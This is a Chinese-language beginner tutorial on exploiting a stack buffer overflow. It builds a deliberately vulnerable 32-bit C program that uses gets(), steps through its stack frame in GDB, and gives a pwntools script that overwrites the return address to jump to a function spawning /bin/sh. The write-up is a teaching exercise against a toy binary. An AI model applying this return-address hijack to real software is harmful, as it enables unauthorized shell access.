PWN入门之Stack Overflow

admin 2024年1月11日12:40:25评论20 views字数 4217阅读14分3秒阅读模式
本文是i春秋论坛签约作家「Binary star」分享的技术文章,公众号旨在为大家提供更多的学习方法与技能技巧,文章仅供学习参考。
PWN入门之Stack Overflow

Binary star

大家好,我是Binary star,目前从事于公安行业,擅长Web、二进制和电子取证方向。能把网络安全技能运用在工作中,与我的职业结合起来做有意义的事,是非常自豪的,我希望通过自身努力成为一名优秀的二进制研究员,实现自我价值

PWN入门之Stack Overflow

Stack Overflow是一种程序的运行时(runtime)错误,中文翻译过来叫做“栈溢出”。栈溢出原理是指程序向栈中的某个变量中写入的字节数超过了这个变量本身所申请的字节数,导致与其相邻的栈中的变量值被改变。
在本篇文章中,我详细介绍了如何利用程序中本身存在的栈溢出漏洞,达到劫持程序流的目的,进而实现system("/bin/sh")的效果,如果你也对这个知识点感兴趣,欢迎阅读全文,内容篇幅较长,阅读时长约12分钟。

C语言程序

来分析劫持程序流的过程
#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it.");system("/bin/sh"); }
void vulnerable() {
    char s[12];
    gets(s);
    puts(s);
    return;
}
int main(int argc, char **argv) {
    vulnerable();
    return 0;
}
#编译
gcc -m32 -fno-stack-protector 1.c -o hello_world -z execstack
编译后用checksec确认,Canary、PIE、NX,这三个表示三种保护方式,此demo不涉及绕过保护方式,因此保护全关。

PWN入门之Stack Overflow

运行

从运行的角度看程序

PWN入门之Stack Overflow

可以看到,我们在键盘上输入的东西,会在显示器再输出一遍,这是因为在vulnerable( )函数中的get( )、puts()两个函数的原因。
我们来从运行的角度来分析一下C语言程序,程序会认为main函数是入口,首先会执行main函数,main函数中调用vulnerable函数,之后再返回main函数,至此程序结束。
但是发现这里还有一个函数是success函数,里面有system("/bin/sh")这个内置的危险函数,试想一下,如果能够在程序运行的过程中,劫持程序流,是不是就能够通过这个二进制程序拿到此机器的shell。

PWN入门之Stack Overflow

从汇编的角度看程序

main函数的地址为0x080484BB
vulnerable函数的地址为0x08048494
success函数的地址为0x0804846B
plt表和got表中有gets 、puts、system等函数,这些是属于内置函数,在程序运行的过程中,有动态链**接的过程。
main函数

PWN入门之Stack Overflow

在vulnerable函数中,主要就是gets和puts函数,这里我们注意一下,我们就是用vulnerable这个函数来进行程序劫持的。
success函数

PWN入门之Stack Overflow

打印一句话you have already controlled it,还有就是system("/bin/sh"),要想办法把程序执行到success函数中。
用GDB进行调试

PWN入门之Stack Overflow

在main函数中下一个断点,开始调试。

PWN入门之Stack Overflow

进入到vulnerable函数

PWN入门之Stack Overflow

push ebp
move ebpesp
sub esp0x18

在这先记录两个地址
EBP 0xffffd068
ESP 0xffffd05c
这三句汇编语言是经典的开辟栈空间,对于计算机来说,它会认为bp和sp是栈底和栈顶。
在经过push ebp之后

PWN入门之Stack Overflow

EBP 0xffffd068
ESP 0xffffd058
ebp 存储在了0XFFFFD05C这个位置上,ESP0xffffd05c变为了 0xffffd058

PWN入门之Stack Overflow

所以push ebp做了两个事情,首先是把ebp的值存放在了栈上,然后esp=esp-4。

PWN入门之Stack Overflow

move ebp,esp这个汇编指令就很简单了,把esp的值复制一份给ebp

PWN入门之Stack Overflow

现在ebp和esp指向同一位置,都为0xffffd058。
之后是sub esp,0x18

PWN入门之Stack Overflow

EBP 0xffffd058
ESP 0xffffd040
至此栈空间开辟完成。

PWN入门之Stack Overflow

再来分析gets和puts函数
0x8048494 <vulnerable> push ebp
0x8048495 <vulnerable+1> mov ebp, esp
0x8048497 <vulnerable+3> sub esp, 0x18
0x804849a <vulnerable+6> sub esp, 0xc
0x804849d <vulnerable+9> lea eax, [ebp - 0x14] <0xf7fb9dbc>
0x80484a0 <vulnerable+12> push eax
0x80484a1 <vulnerable+13> call gets@plt <0x8048320>
ebp-0x14=0xffffd058-0x14=0xffffd044

PWN入门之Stack Overflow

get函数会请求键盘输入

PWN入门之Stack Overflow

我们输入aaaaaaaabbbbbbbb

PWN入门之Stack Overflow

从0xffffd044开始填充字符,正好是0x10个字符,接着我们可以看到,0xffffd086这个地址,这是之前的ebp。

我们用多点垃圾字符进行填充,这样就会把ebp的值给覆盖掉了。

PWN入门之Stack Overflow

接着执行,会看到ret的时候,就不能够返回正常的main函数了。

PWN入门之Stack Overflow

看一下正常情况,如果是正常情况的话,会返回到main函数中,这里需要注意一个细节,EIP这个寄存器,计算机会执行EIP指向的东西。根据这个原理,就可以进行构造,当ret的时候,EIP指向的东西为success函数的地址即可,这样就可以调用success函数了,从而达到劫持程序流的目的。

PWN入门之Stack Overflow

PWN入门之Stack Overflow

PWN入门之Stack Overflow

单步调试vulnerable函数

进入vulnerable函数之前
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd060 —▸ 0xf7fb83dc (__exit_funcs) —▸ 0xf7fb91e0 (initial) ◂— 0
进入vulnerable函数之后
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd05c —▸ 0x80484d1 (main+22) ◂— mov eax, 0
push ebp ebp压入栈中
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
move ebpesp 导致ebpesp同一个值
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
sub esp0x18
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd040 ◂— 0x1
sub esp0xc
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd034 —▸ 0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x2d
/* 0x1b2db0 */
add esp0x10
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd040 ◂— 0x1
sub esp, 0xc
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd034 —▸ 0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x2d
/* 0x1b2db0 */
push eax
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd030 —▸ 0xffffd044 ◂— 'aaaa'
add esp0x10
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd040 ◂— 0x1
leave leave指令分为两步,move espebp pop ebp
也就是说,把bp的值给spbp=sp=0xffffd068, 之后是弹出ebp的值,sp=sp-4
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd05c —▸ 0x80484d1 (main+22) ◂— mov eax, 0
ret 相当于pop eip
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd060 —▸ 0xf7fb83dc (__exit_funcs) —▸ 0xf7fb91e0 (initial) ◂— 0

PWN入门之Stack Overflow

构造的时候首先利用gets函数用垃圾字符把栈空间填满,之后用四个字符覆盖ebp,紧接着加上success函数的地址就可以了。

劫持程序流

第一步算距离
首先我们需要先算出gets函数让我们输入的地方距离EBP的距离,即0xffffd44-0xffffd058=0x14。

PWN入门之Stack Overflow

第二步用数据填充

0x14就是20个字符,用20个a进行填充。

PWN入门之Stack Overflow

这是20个字符,接着用4字符覆盖ebp,再加上success函数的地址就可以了。
##coding=utf8
from pwn import *
import pwnlib
context(os = 'linux',arch='amd64',log_level='debug')
## 构造与程序交互的对象
sh = process('./hello_world')
success_addr = 0x0804846B
## 构造payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print p32(success_addr)
pwnlib.gdb.attach(sh)
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()

PWN入门之Stack Overflow

payload = 'a' * 0x14 + 'bbbb' + p32(success_addr) ,原理就是利用变量覆盖栈空间,之后再覆盖掉原始的ebp寄存器的内容,紧接着就是返回地址了,把success函数的地址打进去就可以执行success函数了。

PWN入门之Stack Overflow

作者寄语

通过本篇文章的学习,希望大家在二进制方向能少走弯路学习过程中难免会遇到疑问,推荐加入i春秋的学习交流群~

PWN入门之Stack Overflow
PWN入门之Stack Overflow

(联系管理员,申请入群)

在这里,您不仅能学习到前沿的技术知识,还能结识一群志同道合、热爱技术分享的学习伙伴。群管理员不定期举办各种形式的福利活动,邀请行业大咖和知识达人分享他们的宝贵经验,您还能获得丰富的人脉资源和学习资料。我们期待您的加入,一起成长、共同进步!

PWN入门之Stack Overflow

原文始发于微信公众号(i春秋):PWN入门之Stack Overflow

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月11日12:40:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PWN入门之Stack Overflowhttp://cn-sec.com/archives/2214579.html

发表评论

匿名网友 填写信息